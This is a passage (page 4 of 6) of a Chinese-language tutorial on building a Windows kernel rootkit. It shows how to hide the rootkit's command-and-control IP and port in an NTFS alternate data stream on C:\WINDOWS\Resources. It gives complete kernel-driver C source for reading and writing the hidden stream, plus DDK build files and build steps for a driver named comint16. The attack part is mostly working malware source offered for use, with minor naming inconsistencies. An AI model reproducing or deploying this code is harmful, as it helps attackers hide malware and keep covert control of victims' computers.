频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

Rootkit隐形技术入门

来源:51CTO.com 作者:宇文 出处:巧巧读书 2008-03-21 进入讨论组
上一页 1 2 3 4 5 6 下一页 
四、交换数据流

利用Windows提供的交换数据流功能,我们可以在不影响文件及其大小的情况下,捎带其他一些东西,如图标等。

想当初,微软公司将此功能添加至Windows操作系统的初衷并非向用户提供一种隐藏文件的把戏,但它的确有这种功效:我们正好可以利用它为配置文件提供藏身之所。其实,该方法不仅适用于文件,同样也是用于目录,因为目录也是文件的一种。与其把配置文件附着在一个“惹眼”的系统文件上,倒不如将其挂在一个不起眼的目录上,后者的保险系数更高一些。

为了让读者感性地认识一下交换数据流,您可以亲自在DOS命令提示符下做个小实验。首先,建立一个文件,并将其命名为test .txt ,保存,然后看一下该文件的大小。 现在,在DOS提示符下键入以下命令:

echo nihao >test.txt:alternate.txt

该命令给test.txt文件添加一个交换数据流,该数据流的名称为test.txt:alternate.txt,内容为nihao。如果用dir命令来检查的话,我们只看到test.txt文件,并且其大小依旧不变。不过,我们在DOS提示符下键入以下命令

notepad test.txt:alternate.txt

就能看到交换数据流的内容了。这个实验并不复杂,建议读者动手做一下。需要说明的是,它不适用于FAT文件系统,在NTFS文件系统下才奏效。

好了,现在看看我们需要隐藏的配置的具体格式,如下所示:

XXX.XXX.XXX.XXX:YYYYY

其中,XXX.XXX.XXX.XXX代表控制端的IP地址,由十二个阿拉伯数字组成;YYYYY表示控制端所侦听的端口号,由五位阿拉伯数字组成。该配置最初存放在文件c:\config16中,一旦rootkit运行一次之后,它读取该配置,将其挂靠到目录C:\WINDOWS\Resources上以交换数据流文件(C:\WINDOWS\Resources:config16)的形式存放,并将原来的文件c:\config16删除。也就是说,以rootkit初次运行为分水岭,之前,配置位于c:\config16文件中;之后,位于C:\WINDOWS\Resources:config16文件中。同样,以rootkit初次运行为分水岭,第一次运行时,rootkit从c:\config16文件读取配置;之后,从C:\WINDOWS\Resources:config16文件中读取配置。

至于数据流所挂靠的目录,如C:\WINDOWS \Resources 在fileManager.h文件中加以定义。虽然使用硬编码的路径即在代码中直接给出目录名如C:\WINDOWS比较直接,但是需要考虑健壮性的时候,在给rootkit指定隐藏文件的位置时,通过操作系统来查找%WINDOWS%目录更为稳妥。

上面介绍了配置文件的格式和对配置文件的处理,不过具体工作都是由软件代劳的。完成这部分工作的软件我们称其为文件管理器。这里是我们的文件管理器的头文件,源代码如下所示:

//fileManager.h

#ifndef _FILE_MANAGER_H_
#define _FILE_MANAGER_H_

//尽管微软的文档没有提及,但是NTFS-ADS还能用于目录。
//为了防止rootkit被一网打尽,黑客通常不会一个目录用到底,而是打一枪换一个地方
#define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources"

NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG
fileSizePtr );
NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize );

#endif

FileManager.h文件中,我们将交换数据流的位置定义为MASTER_FILE ,同时声明了两个函数GetFile 和PutFile,这两个函数会在上面的configManager.c中用过,并且在下面对配置文件实现隐形的代码中也大有可为:

// fileManager.c
// 向MASTER_FILE存放交换数据流或者从MASTER_FILE取出交换数据流时,无需路径
// 与之相反,向可见的文件系统存放交换数据流或者从可见的文件系统取出交换数据
流时,需用绝对路径

#include "ntddk.h"
#include 
#include "fileManager.h"
#include "Invisible.h"

NTSTATUS GetFile( WCHAR* filename, CHAR* buffer, ULONG buffersize, PULONG
fileSizePtr )
{
 NTSTATUS rc;
 WCHAR ADSName[256];
 HANDLE hStream;
 OBJECT_ATTRIBUTES ObjectAttr;
 UNICODE_STRING FileName;
 IO_STATUS_BLOCK ioStatusBlock;
 CHAR string[256];

 // 设置文件尺寸
 *fileSizePtr = 0;
 // 如果不是绝对路径,从NTFS-ADS中读
 if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
 else
  wcscpy( ADSName, filename );

 RtlInitUnicodeString( &FileName, ADSName );
 InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);

 rc = ZwOpenFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
 FILE_SYNCHRONOUS_IO_NONALERT );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint16: GetFile() ZwOpenFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",
   rc,
   ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 rc = ZwReadFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint16: GetFile() ZwReadFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n",
   rc,
   ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 //成功读取后,返回读取的字节数量
 *fileSizePtr = ioStatusBlock.Information;
 ZwClose( hStream );
 return( STATUS_SUCCESS );
}


NTSTATUS PutFile( WCHAR* filename, CHAR* buffer, ULONG buffersize )
{
 NTSTATUS rc;
 WCHAR ADSName[256];
 HANDLE hStream;
 OBJECT_ATTRIBUTES ObjectAttr;
 UNICODE_STRING FileName;
 IO_STATUS_BLOCK ioStatusBlock;
 CHAR string[256];

 //如果不是绝对路径,交给NTFS-ADS
 if( wcschr( filename, '\\' ) == NULL )
  _snwprintf( ADSName, 255, L"%s:%s", MASTER_FILE, filename );
 else
  wcscpy( ADSName, filename );

 RtlInitUnicodeString( &FileName, ADSName );
 InitializeObjectAttributes( &ObjectAttr,
  &FileName,
  OBJ_CASE_INSENSITIVE,
  NULL,
  NULL);

 rc = ZwCreateFile(
  &hStream,
  SYNCHRONIZE | GENERIC_ALL,
  &ObjectAttr,
  &ioStatusBlock,
  NULL,
  FILE_ATTRIBUTE_NORMAL,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_OVERWRITE_IF,
  FILE_SYNCHRONOUS_IO_NONALERT,
  NULL,
  0);

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint16: PutFile() ZwCreateFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,
ioStatusBlock.Status );
  DbgPrint( string );
  return( STATUS_UNSUCCESSFUL );
 }

 rc = ZwWriteFile(
  hStream,
  NULL,
  NULL,
  NULL,
  &ioStatusBlock,
  buffer,
  buffersize,
  NULL,
  NULL );

 if ( rc != STATUS_SUCCESS )
 {
  DbgPrint( "comint16: PutFile() ZwWriteFile() failed.\n" );
  _snprintf( string, 255, "comint16: rc = %0x, status = %0x\n", rc,
ioStatusBlock.Status );
  DbgPrint( string );
  ZwClose( hStream );
  return( STATUS_UNSUCCESSFUL );
 }

 ZwClose( hStream );
 return( STATUS_SUCCESS );
}

在FileManager.c文件中,定义了GetFile 和PutFile两个函数。需要注意的是,这两个函数都是使用的宽字符串。这是因为目前Windows操作系统用的都是宽字符,既然跟操作系统打交道的话,我们自然要入乡随俗了。还有一个问题需要注意,宽字符串在使用时,必须先初始化,然后才能使用,我们用RtlInitUnicodeString函数初始化宽字符串。

ZwOpenFile类似于用户模式SDK中的函数OpenFile,只不过前者用于内核模式。前面说过,我们的rootkit是一个内核模式设备驱动程序,因为在内核模式下运行,只能用内核模式下的函数ZwOpenFile来打开文件。ZwOpenFile函数名中的前缀“Zw”表示这是与文件操作有关的函数。

GetFile主要由ZwOpenFile、ZwReadFile和ZwClose三个函数组成;PutFile主要由ZwCreateFile 、ZwWriteFile 和ZwClose 三个函数组成。

当我们利用DDK编译程序时,除了源代码外,还需要另外两个文件:一个SOURCES 文件和一个MAKEFILE。DDK通过这些文件确定要编译哪些文件,如何编译,编译后所得目标文件如何命名等。就本例而言,需要编译的源文件是Invisible.c、fileManager.c和configManager.c;将其编译成驱动程序;驱动程序名为comint16。这里是SOURCES文件内容:

TARGETNAME=comint16
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=Invisible.c\
 fileManager.c\
 configManager.c

进行不同的编译时,SOURCES文件会随之变化。但是MAKEFILE将保持不变,其内容如下所示:

#
#千万别改它!
#

!INCLUDE $(NTMAKEENV)\makefile.def

好了,忙活了半天了,现在是编译我们的程序的时候了:从DDK中单击checked-build environment,在打开的命令窗口中切换至源代码所在目录,输入命令build,剩下事情就由DDK替我们代劳了。如果一切顺利,我们将得到一些新文件,其中一个是commint32.sys,它就是我们的rootkit,它实际上是个设备驱动程序。

现在,rootkit已经到手,现在是考虑安装问题的时候了。

来自:http://www.qqread.com/safe-tech/e402371.html 更多文章 更多内容请看Solaris基础知识入门专题,或进入讨论组讨论。
上一页 1 2 3 4 5 6 下一页 
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章